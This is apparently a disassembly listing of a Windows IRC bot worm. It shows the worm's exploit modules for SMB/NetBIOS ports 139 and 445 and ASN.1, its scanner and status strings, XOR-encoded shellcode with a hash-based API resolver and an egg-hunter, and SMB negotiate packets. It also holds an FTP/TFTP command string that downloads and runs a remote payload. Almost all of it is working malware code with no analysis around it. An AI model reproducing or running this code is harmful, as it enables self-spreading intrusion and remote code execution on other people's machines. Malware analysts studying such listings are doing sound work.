aAtkins		db 'Atkins',0           ; DATA XREF: ___:0042DD48o
		align 4
aArky		db 'Arky',0             ; DATA XREF: ___:0042DD44o
		align 4
aArjas		db 'Arjas',0            ; DATA XREF: ___:0042DD40o
		align 4
aAristotle	db 'Aristotle',0        ; DATA XREF: ___:0042DD3Co
		align 10h
aArellano	db 'Arellano',0         ; DATA XREF: ___:0042DD38o
		align 4
aArduini	db 'Arduini',0          ; DATA XREF: ___:0042DD34o
aArbia		db 'Arbia',0            ; DATA XREF: ___:0042DD30o
		align 4
aAntos		db 'Antos',0            ; DATA XREF: ___:0042DD2Co
		align 4
aAnthony	db 'Anthony',0          ; DATA XREF: ___:0042DD28o
aAnsley		db 'Ansley',0           ; DATA XREF: ___:0042DD24o
		align 4
aAnfinrud	db 'Anfinrud',0         ; DATA XREF: ___:0042DD20o
		align 10h
aAndron		db 'Andron',0           ; DATA XREF: ___:0042DD1Co
		align 4
aAndrelus	db 'Andrelus',0         ; DATA XREF: ___:0042DD18o
		align 4
aAndo		db 'Ando',0             ; DATA XREF: ___:0042DD14o
		align 4
aAndel		db 'Andel',0            ; DATA XREF: ___:0042DD10o
		align 4
aAnand		db 'Anand',0            ; DATA XREF: ___:0042DD0Co
		align 4
aAmsden		db 'Amsden',0           ; DATA XREF: ___:0042DD08o
		align 4
aAmeer		db 'Ameer',0            ; DATA XREF: ___:0042DD04o
		align 4
aAmatangelo	db 'Amatangelo',0       ; DATA XREF: ___:0042DD00o
		align 4
aAmaral		db 'Amaral',0           ; DATA XREF: ___:0042DCFCo
		align 10h
aAltenhofen	db 'Altenhofen',0       ; DATA XREF: ___:0042DCF8o
		align 4
aAltenberger	db 'Altenberger',0      ; DATA XREF: ___:0042DCF4o
aAltavilla	db 'Altavilla',0        ; DATA XREF: ___:0042DCF0o
		align 4
aAlongi		db 'Alongi',0           ; DATA XREF: ___:0042DCECo
		align 4
aAllison	db 'Allison',0          ; DATA XREF: ___:0042DCE8o
aAleks		db 'Aleks',0            ; DATA XREF: ___:0042DCE4o
		align 4
aAlda		db 'Alda',0             ; DATA XREF: ___:0042DCE0o
		align 4
aAlcorn		db 'Alcorn',0           ; DATA XREF: ___:0042DCDCo
		align 4
aAlavi		db 'Alavi',0            ; DATA XREF: ___:0042DCD8o
		align 4
aAhlers		db 'Ahlers',0           ; DATA XREF: ___:0042DCD4o
		align 4
aAdorno		db 'Adorno',0           ; DATA XREF: ___:0042DCD0o
		align 4
aAdibe		db 'Adibe',0            ; DATA XREF: ___:0042DCCCo
		align 4
aAdelstein	db 'Adelstein',0        ; DATA XREF: ___:0042DCC8o
		align 4
aAddison	db 'Addison',0          ; DATA XREF: ___:off_42DCC4o
aAdams		db 'Adams',0            ; DATA XREF: ___:0042DCC0o
		align 4
aAckerman	db 'Ackerman',0         ; DATA XREF: ___:0042DCBCo
		align 4
aAbdulrazak	db 'Abdulrazak',0       ; DATA XREF: ___:off_42DCB8o
		align 10h
byte_431910	db 50h			; DATA XREF: ___:0040ADEFo
					; ___:0040ADFCr
		db 43h,	2 dup(0)
dword_431914	dd 7C7325h		; DATA XREF: ___:0040AE9Ao
dword_431918	dd 5D73255Bh, 7Ch	; DATA XREF: ___:0040AFA4o
dword_431920	dd 3F3F3Fh		; DATA XREF: ___:loc_40AF9Bo
					; sub_41AA42:loc_41AB05o
dword_431924	dd 334B32h		; DATA XREF: ___:0040AF94o
dword_431928	dd 5058h		; DATA XREF: ___:0040AF86o
					; sub_41AA42+AAo
dword_43192C	dd 4B32h		; DATA XREF: ___:0040AF76o
					; sub_41AA42+98o
dword_431930	dd 454Dh		; DATA XREF: ___:0040AF5Do
					; sub_41AA42+7Eo
dword_431934	dd 3839h		; DATA XREF: ___:0040AF4Do
					; sub_41AA42+6Co
dword_431938	dd 544Eh		; DATA XREF: ___:0040AF3Do
					; sub_41AA42+5Ao
dword_43193C	dd 3539h		; DATA XREF: ___:0040AF2Fo
					; sub_41AA42+46o
dword_431940	dd 5D64255Bh, 7325h	; DATA XREF: sub_40AFEA+3Ao
dword_431948	dd 5D4D5Bh		; DATA XREF: sub_40AFEA+2Co
					; sub_40AFEA+57o
aMirc_0		db 'mIRC',0             ; DATA XREF: sub_40AFEA+18o
					; sub_418211+5o
		align 4
		jmp	short loc_431958
; ---------------------------------------------------------------------------


loc_431956:				; CODE XREF: ___:loc_431958p
		jmp	short loc_43195D
; ---------------------------------------------------------------------------


loc_431958:				; CODE XREF: ___:00431954j
		call	loc_431956


loc_43195D:				; CODE XREF: ___:loc_431956j
		pop	ebx
		xor	ecx, ecx
		mov	cx, 0FFFFh


loc_431964:				; CODE XREF: ___:00431969j
		xor	byte ptr [ebx+0Eh], 0FFh
		inc	ebx
		loop	loc_431964
		add	bl, ch
		add	ch, bl
		add	eax, 0FFFFF9E8h
		call	fword ptr [ebx+31h]
		leave
		mov	cl, 0FFh


loc_43197A:				; CODE XREF: ___:0043197Fj
		xor	byte ptr [ebx+0Ch], 0FFh
		inc	ebx
		loop	loc_43197A
; ---------------------------------------------------------------------------
		db 3 dup(0)
		dd 364C033h, 0C783040h,	8B0C408Bh, 8BAD1C70h, 9EB0840h
		dd 8D34408Bh, 408B7C40h, 3D08B3Ch, 0CA8B3C40h, 8B784803h
		dd 0DA8B2041h, 331C5903h, 57F633FFh, 3CA8B57h, 7981100Ch
		dd 7373650Ah, 8B027541h, 3798133h, 72685474h, 3B8B0275h
		dd 8304C083h, 0F68504C3h, 0FF85DB74h, 0F203D774h, 0E857FA03h
		dd 12h
aTftp_exeIGet	db 'tftp.exe -i  get ',0
; ---------------------------------------------------------------------------
		push	0
		call	sub_431A1C
		jnz	short loc_431A08
		retn
; ---------------------------------------------------------------------------


loc_431A08:				; CODE XREF: ___:00431A05j
					; ___:00431A15j
		call	near ptr loc_431A0D+1


loc_431A0D:				; CODE XREF: ___:loc_431A08p
		add	[edx+0], ch
		call	sub_431A1C
		jz	loc_431A08
		retn

; =============== S U B	R O U T	I N E =======================================



sub_431A1C	proc near		; CODE XREF: ___:00431A00p
					; ___:00431A10p
		pop	eax
		pop	ebx
		pop	ebp
		push	eax
		sub	esp, 54h
		xor	eax, eax
		mov	edi, esp
		lea	ecx, [eax+40h]
		mov	edx, edi
		rep stosb
		mov	al, 44h
		stosd
		push	edi
		push	edx
		push	ecx
		push	ecx
		push	28h
		push	1
		push	ecx
		push	ecx
		push	ebp
		push	ebx
		call	esi
		add	esp, 54h
		test	eax, eax
		retn
sub_431A1C	endp

; ---------------------------------------------------------------------------
		align 4
		dd 234032Dh, 65726874h,	6C206461h, 2747369h, 202D03h
aSNoSThreadFoun	db '%s No %s thread found.',0 ; DATA XREF: sub_40B384+51o
		align 4
aSSStopped_DThr	db '%s %s stopped. (%d thread(s) stopped.)',0 ; DATA XREF: sub_40B384+35o
		align 10h
aSym		db 'sym',0              ; DATA XREF: sub_40C124+169o
		dd 0
		db 2 dup(0)
aSymantec	db 'Symantec',0         ; DATA XREF: sub_40B7DA+30o
		align 4
		dd 5 dup(0)
dword_431AC8	dd 0B97h		; DATA XREF: sub_401ACD+1DA0r
					; sub_401ACD+1DC9o ...
off_431ACC	dd offset sub_40E0D0	; DATA XREF: sub_40C124+1EAr
dword_431AD0	dd 0			; DATA XREF: sub_40B64A+2Eo
					; ___:0040D495w ...
dword_431AD4	dd 1			; DATA XREF: sub_40BACD+1Fr
dword_431AD8	dd 1			; DATA XREF: sub_40BACD+3B3r
dword_431ADC	dd 0			; DATA XREF: sub_40BACD+292r
		dd 636E76h, 0
		dd 6E760000h, 63h, 6 dup(0)
		dd 170Ch, 40E206h, 0
		dd 2 dup(1), 0
aNet139		db 'net139',0
		align 4
		dd 654E0000h, 69706174h, 393331h, 5 dup(0)
		dd 8Bh,	40DF8Eh, 0
		dd 2 dup(1), 0
aNet445		db 'net445',0
		align 4
		dd 654E0000h, 69706174h, 353434h, 5 dup(0)
		dd 1BDh, 40DF8Eh, 0
		dd 2 dup(1), 0
aAsn80		db 'asn80',0
		align 4
		dd 53410000h, 2D312E4Eh, 50545448h, 5 dup(0)
		dd 50h,	40D2D9h, 0
		dd 2 dup(1), 0
aAsn445		db 'asn445',0
		align 4
		dd 53410000h, 2D312E4Eh, 424D53h, 5 dup(0)
		dd 1BDh, 40D2D9h, 0
		dd 2 dup(1), 0
aAsn139		db 'asn139',0
		align 4
		dd 53410000h, 2D312E4Eh, 20424D53h, 544Eh, 4 dup(0)
		dd 8Bh,	40D2D9h, 0
		dd 2 dup(1), 2 dup(0)
		dd 10100h, 0Eh dup(0)
aAsn139_0	db 'asn139',0
		align 4
		db 2 dup(0)
byte_431CAA	db 1			; DATA XREF: sub_401ACD:loc_4037E6r
					; sub_401ACD+1D23o
aAsn445_0	db 'asn445',0
		align 4
		dd 100h, 3 dup(0)
; ---------------------------------------------------------------------------
		jmp	short loc_431CD6

; =============== S U B	R O U T	I N E =======================================



sub_431CC6	proc near		; CODE XREF: sub_431CC6:loc_431CD6p
		pop	edx
		dec	edx
		xor	ecx, ecx
		mov	cx, 166h


loc_431CCE:				; CODE XREF: sub_431CC6+Cj
		xor	byte ptr [edx+ecx], 99h
		loop	loc_431CCE
		jmp	short loc_431CDB
; ---------------------------------------------------------------------------


loc_431CD6:				; CODE XREF: ___:00431CC4j
		call	sub_431CC6


loc_431CDB:				; CODE XREF: sub_431CC6+Ej
		jo	short near ptr dword_431C64+12h
		cwde
		cdq
		cdq
		retn
sub_431CC6	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 21h,	95h, 69h
		dd 9912E664h, 3485E912h, 1291D912h, 0A5EA1241h,	0EF126A9Ah
		dd 126A9AE1h, 629AB9E7h, 0AA8DD712h, 0C8CECF74h, 629AA612h
		dd 97F36B12h, 0ED3F6AC0h, 1AC6C091h, 7BDC9D5Eh,	0C7C6C070h
		dd 0DF125412h, 485A9ABDh, 0AA589A78h, 9112FF50h, 9A85DF12h
		dd 9B78585Ah, 9912589Ah, 63125A9Ah, 5F1A6E12h, 0F3491297h
		dd 0E571C09Ah, 1A999999h, 0CFCB945Fh, 0C365CE66h, 9DF34112h
		dd 99F071C0h, 0C9C99999h, 98F3C9C9h, 0CE669BF3h, 5E411269h
		dd 9E999B9Eh, 1059AA24h, 89F39DDEh, 0CE66CACEh,	0CA98F36Dh
		dd 0C961CE66h, 0CE66CAC9h, 0DD751A65h, 42AA6D12h, 10C089F3h
		dd 627B1785h, 10A1DF10h, 0DF10A5DFh, 0B5DF5ED9h, 99999898h
		dd 0C989DE14h, 0CACACACFh, 0CACA98F3h, 0FAA5DE5Eh, 1499FDF4h
		dd 0CAC9A5DEh, 0C97DCE66h, 0AA71CE66h, 591C3559h, 0CBC860ECh
		dd 4B66CACFh, 7B32C0C3h, 5A59AA77h, 66676271h, 0EDFCDE66h
		dd 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh, 0F8FCEBDAh, 0EBC9FCEDh
		dd 0EAFCFAF6h, 0DC99D8EAh, 0C9EDF0E1h, 0FCFAF6EBh, 0D599EAEAh
		dd 0D5FDF8F6h, 0F8EBFBF0h, 99D8E0EBh, 0C6ABEAEEh, 0CE99ABAAh
		dd 0F6CAD8CAh, 0EDFCF2FAh, 0F0FB99D8h, 0F599FDF7h, 0FCEDEAF0h
		dd 0FAF899F7h, 0EDE9FCFAh, 99h
aTotalDInS_	db ' Total: %d in %s.',0 ; DATA XREF: sub_40B64A+86o
		align 4
dword_431E58	dd 25370320h, 203A0373h, 2C6425h ; DATA	XREF: sub_40B64A+46o
unk_431E64	db  2Dh	; -		; DATA XREF: sub_40B64A+11o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aExploitStatist	db 'Exploit Statistics:',0
unk_431E84	db  2Dh	; -		; DATA XREF: sub_40B719+38o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
		db  54h	; T
		db 72h,	61h, 6Eh
		db  73h	; s
		db 66h,	65h, 72h
		db  20h
		db 53h,	74h, 61h
		db  74h	; t
		db 69h,	73h, 74h
		db  69h	; i
		db 63h,	73h, 3Ah
		db  20h
		db 2, 54h, 46h
		db  54h	; T
		db 50h,	2, 3Ah
		db  20h
		db 25h,	64h, 2Ch
		db  20h
		db 2, 46h, 54h
		db  50h	; P
		db 2, 3Ah, 20h
aDTotalDInS_	db '%d, Total %d in %s.',0
unk_431ECC	db  2Dh	; -		; DATA XREF: sub_40B785+22o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aDConnectbackSh	db '%d connectback shells in %s.',0
		align 4
aScanTimeS_	db ' Scan Time: %s.',0  ; DATA XREF: sub_40B7DA+7Fo
dword_431F08	dd 25370320h, 28200373h, 73253403h, 2C2903h ; DATA XREF: sub_40B7DA+40o
dword_431F18	dd 234032Dh, 6E616373h,	202D0302h, 6C707845h, 2074696Fh
					; DATA XREF: sub_40B7DA+14o
		dd 7473694Ch, 3Ah
unk_431F34	db  2Dh	; -		; DATA XREF: ___:0040BA13o
		db 3, 34h, 2
		db  65h	; e
		db 78h,	70h, 6Ch
		db  6Fh	; o
		db 69h,	74h, 2
		db    3
aFinishedExploi	db '- finished exploiting %s (%d attempts)',0
unk_431F68	db  2Dh	; -		; DATA XREF: ___:0040B921o
		db 3, 34h, 2
		db  65h	; e
		db 78h,	70h, 6Ch
		db  6Fh	; o
		db 69h,	74h, 2
		db    3
		db 2Dh,	20h, 74h
		db  72h	; r
		db 79h,	69h, 6Eh
		db  67h	; g
		db 20h,	2, 25h
		db  73h	; s
		db 2, 20h, 6Fh
aNSPortD___	db 'n %s (port %d)...',0
		align 4
unk_431F98	db  2Dh	; -		; DATA XREF: sub_40BA56+42o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aScanNotActive_	db 'Scan not active.',0
		align 4
unk_431FB8	db  2Dh	; -		; DATA XREF: sub_40BA56+2Co
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aCurrentIpS_	db 'Current IP: %s.',0
unk_431FD4	db  2Dh	; -		; DATA XREF: sub_40BACD+4B7o
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aFailedToSta_33	db ' Failed to start server, error: <%d>.',0
		align 4
unk_432008	db  2Dh	; -		; DATA XREF: sub_40BACD+38Fo
		db 3, 34h, 2
		db  63h	; c
		db 6Fh,	2 dup(6Eh)
		db  65h	; e
		db 63h,	74h, 62h
		db  61h	; a
		db 63h,	6Bh, 2
		db    3
aFailedToSta_34	db '- Failed to start server, error: <%d>.',0
unk_432040	db  2Dh	; -		; DATA XREF: sub_40BACD+321o
		db 3, 34h, 2
		db  63h	; c
		db 6Fh,	2 dup(6Eh)
		db  65h	; e
		db 63h,	74h, 62h
		db  61h	; a
		db 63h,	6Bh, 2
		db    3
aServerStarte_2	db '- Server started on Port: %d.',0
		align 10h
unk_432070	db  2Dh	; -		; DATA XREF: sub_40BACD+26Co
		db 3, 34h, 2
		db  66h	; f
		db 74h,	70h, 64h
		db    2
		db 3, 2Dh, 20h
aFailedToSta_35	db 'Failed to start server, error: <%d>.',0
		align 4
unk_4320A4	db  2Dh	; -		; DATA XREF: sub_40BACD+1FEo
		db 3, 34h, 2
		db  66h	; f
		db 74h,	70h, 64h
		db    2
		db 3, 2Dh, 20h
aServerStarte_3	db 'Server started on Port: %d, File: %s.',0
		align 4
unk_4320D8	db  2Dh	; -		; DATA XREF: sub_40BACD+148o
		db 3, 34h, 2
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2, 3, 2Dh
aFailedToSta_36	db ' Failed to start server, error: <%d>.',0
		align 4
unk_43210C	db  2Dh	; -		; DATA XREF: sub_40C124+EEo
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aIpSPortDIsOpen	db 'IP: %s, Port %d is open.',0
		align 4
unk_432134	db  2Dh	; -		; DATA XREF: sub_40C124+93o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aIpSDScanThread	db 'IP: %s:%d, Scan thread: %d, Sub-thread: %d.',0
unk_43216C	db  2Dh	; -		; DATA XREF: sub_40C124+3E6o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFinishedAtSDAf	db 'Finished at %s:%d after %d minute(s) of scanning.',0
		align 4
unk_4321AC	db  2Dh	; -		; DATA XREF: sub_40C124+38Bo
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToStartW	db 'Failed to start worker thread, error: <%d>.',0
unk_4321E4	db  2Dh	; -		; DATA XREF: sub_40C124+31Bo
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aSDScanThreadDS	db '%s:%d, Scan thread: %d, Sub-thread: %d.',0
unk_432218	db  2Dh	; -		; DATA XREF: sub_40C124+29Fo
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToInitia	db 'Failed to initialize critical section.',0
		align 4
dword_43224C	dd 234032Dh, 6E616373h,	202D0302h, 203A5049h, 50207325h
					; DATA XREF: sub_40C59B+92o
		dd 3A74726Fh, 20642520h, 6F207369h, 2E6E6570h, 0
		db  2Dh	; -
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aScanningIpSPor	db 'Scanning IP: %s, Port: %d.',0
		align 4
		db  2Dh	; -
		db 3, 34h, 2
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFinishedScanni	db 'Finished scanning IP: %s.',0
		align 4
		db  2Dh	; -
		db 3, 34h, 2
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aScanningIpSP_0	db 'Scanning IP: %s, Port: %d.',0
		align 4
aRbrbrbrb	db 'BBBB',0         ; DATA XREF: sub_40CADA+B2o
		align 10h
dword_432300	dd 10FF8h, 0		; DATA XREF: sub_40CADA+6Ao
dword_432308	dd 10FF8h		; DATA XREF: sub_40CADA+79o
dword_43230C	dd 7FFDF020h, 0		; DATA XREF: sub_40CADA+162o
dword_432314	dd 424D53FFh, 72h, 0C8531800h, 3 dup(0)	; DATA XREF: sub_40CF04+7Bo
		dd 13370000h, 0
		dd 2006200h
aPcNetworkProgr	db 'PC NETWORK PROGRAM 1.0',0
		db 2
		db  4Ch	; L
		db 41h,	4Eh, 4Dh
		db  41h	; A
		db 4Eh,	31h, 2Eh
		db  30h	; 0
		align 2
		dw 5702h
aIndowsForWorkg	db 'indows for Workgroups 3.1a',0
		db 2
		dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh
		dd 544E0200h, 204D4C20h, 32312E30h, 0
dword_43239C	dd 424D53FFh, 73h, 0C8071800h, 3 dup(0)	; DATA XREF: sub_40CF04+34o
		dd 13370000h, 0
		dd 0FF0Ch, 0A110400h, 2	dup(0)
dword_4323CC	dd 0			; DATA XREF: sub_40CF04+44o
		dd 800000D4h, 0
unk_4323D8	db  81h	; 		; DATA XREF: sub_40CFDE+Ao
		db 2 dup(0), 44h
aCkfdenecfdeffc	db ' CKFDENECFDEFFCFGEFFCCACACACACACA',0
aCacacacacacaca	db ' CACACACACACACACACACACACACACACAAA',0
		dd 0
byte_432424	db 41h			; DATA XREF: sub_40D07C+107r
aBcdefghijklmno	db 'BCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/',0
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_432468	proc near		; DATA XREF: ___:0040D35Bo
		push	ebx
		push	esi
		push	edi
		sub	sp, 80h
		mov	esi, esp
		call	sub_432564
		push	dword ptr [esi]
		push	63D61209h
		call	sub_43257A
		mov	[esi+8], eax
		call	sub_43252D
		push	dword ptr [esi+4]
		push	0CA2BD06Bh
		call	sub_43257A
		mov	[esi+0Ch], eax
		call	sub_4324DF
		push	dword ptr [esi+4]
		push	4C0297FAh
		call	sub_43257A
		xor	ebx, ebx
		push	410h
		push	ebx
		call	eax
		mov	ebx, eax
		push	esi
		mov	esi, [esi+10h]
		mov	edi, eax
		mov	ecx, 410h
		rep movsb
		pop	esi
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	ebx
		push	eax
		push	eax
		call	dword ptr [esi+0Ch]
		mov	eax, [esi+8]
		add	sp, 80h
		pop	edi
		pop	esi
		pop	ebx
		jmp	eax
sub_432468	endp


; =============== S U B	R O U T	I N E =======================================



sub_4324DF	proc near		; CODE XREF: sub_432468+33p

var_20		= dword	ptr -20h
var_14		= dword	ptr -14h

		pusha
		call	sub_432508
		mov	eax, [esp+20h+var_14]
		lea	ebx, [eax+7Ch]
		add	dword ptr [ebx+3Ch], 5
		add	dword ptr [ebx+28h], 1000h
		and	dword ptr [ebx+28h], 0FFFFF000h
		mov	eax, [esp+20h+var_20]
		add	esp, 14h
		push	eax
		xor	eax, eax
		retn
sub_4324DF	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_432508	proc near		; CODE XREF: sub_4324DF+1p
		xor	edx, edx
		push	dword ptr fs:[edx]
		mov	fs:[edx], esp
		xor	ebx, ebx
		mov	eax, 42904290h


loc_432517:				; CODE XREF: sub_432508+1Aj
		xor	ecx, ecx
		mov	cl, 2
		mov	edi, ebx
		repe scasd
		jz	short loc_432524
		inc	ebx
		jmp	short loc_432517
; ---------------------------------------------------------------------------


loc_432524:				; CODE XREF: sub_432508+17j
		mov	[esi+10h], edi
		pop	dword ptr fs:[edx]
		pop	eax
		popa
		retn
sub_432508	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_43252D	proc near		; CODE XREF: sub_432468+1Ep
		pusha
		mov	edi, 7FFDF020h
		mov	ebx, [edi]
		mov	eax, [esi+8]
		mov	[edi], eax
		mov	edi, [edi-8]
		add	edi, 178h
		mov	ecx, edi


loc_432545:				; CODE XREF: sub_43252D+1Ej
		cmp	[ecx], ebx
		jz	short loc_43254D
		mov	ecx, [ecx]
		jmp	short loc_432545
; ---------------------------------------------------------------------------


loc_43254D:				; CODE XREF: sub_43252D+1Aj
		mov	edx, edi


loc_43254F:				; CODE XREF: sub_43252D+2Aj
		cmp	[edx+4], ebx
		jz	short loc_432559
		mov	edx, [edx+4]
		jmp	short loc_43254F
; ---------------------------------------------------------------------------


loc_432559:				; CODE XREF: sub_43252D+25j
		mov	[ecx], edx
		mov	[edx+4], ecx
		mov	byte ptr [ebx-3], 1
		popa
		retn
sub_43252D	endp


; =============== S U B	R O U T	I N E =======================================



sub_432564	proc near		; CODE XREF: sub_432468+Ap
		mov	eax, ds:7FFDF00Ch
		mov	eax, [eax+1Ch]
		mov	ebx, [eax+8]
		mov	[esi], ebx
		mov	eax, [eax]
		mov	eax, [eax+8]
		mov	[esi+4], eax
		retn
sub_432564	endp


; =============== S U B	R O U T	I N E =======================================



sub_43257A	proc near		; CODE XREF: sub_432468+16p
					; sub_432468+2Bp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		pusha
		mov	ebp, [esp+20h+arg_4]
		mov	eax, [ebp+3Ch]
		mov	edx, [ebp+eax+78h]
		add	edx, ebp
		mov	ecx, [edx+18h]
		mov	ebx, [edx+20h]
		add	ebx, ebp


loc_432590:				; CODE XREF: sub_43257A+33j
		jecxz	short loc_4325CA
		dec	ecx
		mov	esi, [ebx+ecx*4]
		add	esi, ebp
		xor	edi, edi
		xor	eax, eax
		cld


loc_43259D:				; CODE XREF: sub_43257A+2Dj
		lodsb
		cmp	al, ah
		jz	short loc_4325A9
		ror	edi, 0Dh
		add	edi, eax
		jmp	short loc_43259D
; ---------------------------------------------------------------------------


loc_4325A9:				; CODE XREF: sub_43257A+26j
		cmp	edi, [esp+20h+arg_0]
		jnz	short loc_432590
		mov	ebx, [edx+24h]
		add	ebx, ebp
		mov	cx, [ebx+ecx*2]
		mov	ebx, [edx+1Ch]
		add	ebx, ebp
		mov	eax, [ebx+ecx*4]
		add	eax, ebp
		mov	[esp+20h+var_4], eax
		popa
		retn	8
; ---------------------------------------------------------------------------


loc_4325CA:				; CODE XREF: sub_43257A:loc_432590j
					; sub_43257A:loc_4325CAj
		jmp	short loc_4325CA
sub_43257A	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4325D0	proc near		; DATA XREF: ___:0040D309o

arg_0		= dword	ptr  4

		add	esp, 0FFFFF254h
		cld
		call	sub_432622
		mov	eax, [ebp+3Ch]
		mov	edi, [ebp+eax+78h]
		add	edi, ebp
		mov	ecx, [edi+18h]
		mov	ebx, [edi+20h]
		add	ebx, ebp


loc_4325ED:				; CODE XREF: sub_4325D0+38j
		jecxz	short loc_43261D
		dec	ecx
		mov	esi, [ebx+ecx*4]
		add	esi, ebp
		xor	eax, eax
		cdq


loc_4325F8:				; CODE XREF: sub_4325D0+32j
		lodsb
		test	al, al
		jz	short loc_432604
		ror	edx, 0Dh
		add	edx, eax
		jmp	short loc_4325F8
; ---------------------------------------------------------------------------


loc_432604:				; CODE XREF: sub_4325D0+2Bj
		cmp	edx, [esp+arg_0]
		jnz	short loc_4325ED
		mov	ebx, [edi+24h]
		add	ebx, ebp
		mov	cx, [ebx+ecx*2]
		mov	ebx, [edi+1Ch]
		add	ebx, ebp
		mov	ebx, [ebx+ecx*4]
		add	ebx, ebp


loc_43261D:				; CODE XREF: sub_4325D0:loc_4325EDj
		mov	[esp+arg_0], ebx
		retn
sub_4325D0	endp


; =============== S U B	R O U T	I N E =======================================



sub_432622	proc near		; CODE XREF: sub_4325D0+7p

; FUNCTION CHUNK AT 0043265A SIZE 00000008 BYTES

		xor	eax, eax
		mov	eax, fs:[eax+30h]
		test	eax, eax
		js	short loc_43263B
		mov	eax, [eax+0Ch]
		mov	esi, [eax+1Ch]
		lodsd
		mov	ebp, [eax+8]
		jmp	loc_432646
; ---------------------------------------------------------------------------


loc_43263B:				; CODE XREF: sub_432622+8j
		mov	eax, [eax+34h]
		add	eax, 7Ch
		mov	ebp, [eax+3Ch]


loc_432646:				; CODE XREF: sub_432622+14j
		pop	edi
		xor	esi, esi
		pusha
		push	esi
		jmp	short loc_43265A
sub_432622	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_43264D	proc near		; CODE XREF: sub_432622:loc_43265Ap
		push	60E0CEEFh
		push	0E8AFE98h
		push	edi
		jmp	edi
sub_43264D	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_432622


loc_43265A:				; CODE XREF: sub_432622+29j
		call	sub_43264D


loc_43265F:				; DATA XREF: sub_40CADA+320o
		add	[eax+0], ah
; END OF FUNCTION CHUNK	FOR sub_432622
; ---------------------------------------------------------------------------
		dw 0
dword_432664	dd 62B0606h, 2050501h, 0A0h ; DATA XREF: sub_40CADA+2F5o
dword_432670	dd 30h			; DATA XREF: sub_40CADA+2CAo
dword_432674	dd 0A1h			; DATA XREF: sub_40CADA+29Fo
dword_432678	dd 3			; DATA XREF: sub_40CADA+246o
aCccc		db 'CCCC',0             ; DATA XREF: sub_40CADA+153o
		align 4


loc_432684:				; DATA XREF: sub_40CADA+E8o
		jmp	short near ptr dword_43268C
; ---------------------------------------------------------------------------
		db 6 dup(90h)
dword_43268C	dd 0			; CODE XREF: ___:loc_432684j
aCmdCEchoOpenSD	db 'cmd /c echo open %s %d > o&echo user 1 1 >> o &echo get %s >> o &'
					; DATA XREF: ___:0040D330o
		db 'echo quit >> o &ftp -n -s:o &%s',0Dh,0Ah,0
		align 8
dword_4326F8	dd 0E983C933h, 0D9EED9AFh, 5BF42474h ; DATA XREF: ___:0040DC4Bo
; ---------------------------------------------------------------------------


loc_432704:				; CODE XREF: ___:0043270Ej
		xor	dword ptr [ebx+13h], 6AD31EBBh
		sub	ebx, 0FFFFFFFCh
		loop	loc_432704
		inc	edi
		jz	short loc_43274B
		and	eax, 952CE753h
		inc	esp
		jle	short loc_432773
		push	es
		lahf
		cmp	bl, [eax+2Fh]
		xchg	edx, [ebp+1FC36FAFh]
		cmp	al, 0E1h
; ---------------------------------------------------------------------------
		dd 355806F4h, 89381F9Bh, 5E58578Bh, 5B3D1F30h, 0EE7F877Bh
		dd 0ABD46A7Bh, 0A8D21371h, 3EE8EA50h
; ---------------------------------------------------------------------------
		lahf
		cmps	byte ptr ss:[esi], byte	ptr es:[edi]


loc_43274B:				; CODE XREF: ___:00432711j
		mov	[eax], esi
		inc	ecx
		imul	dword ptr [ebx+50h]
		js	short near ptr loc_4327AA+1
		lock xchg ax, bp
; ---------------------------------------------------------------------------
		dw 768Ch
		dd 46D0F5BAh, 4EBF9730h, 5B107FA7h, 2A587A7Bh, 6693958Bh
		dd 0C7CF6E30h
; ---------------------------------------------------------------------------


loc_432770:				; CODE XREF: ___:0043279Dj
		xor	[esi-25h], bl


loc_432773:				; CODE XREF: ___:00432719j
		xor	al, 0D3h
		nop
		popf
		db	64h
		push	edi
		dec	esi
		sub	al, 0BCh
		mov	al, ch
		mov	ch, 39h
		fnsave	byte ptr [esi-20h]
		pop	eax
		shr	dword ptr [ecx-60h], cl
		pop	eax
		in	al, 4Ah
		sub	al, 0BAh


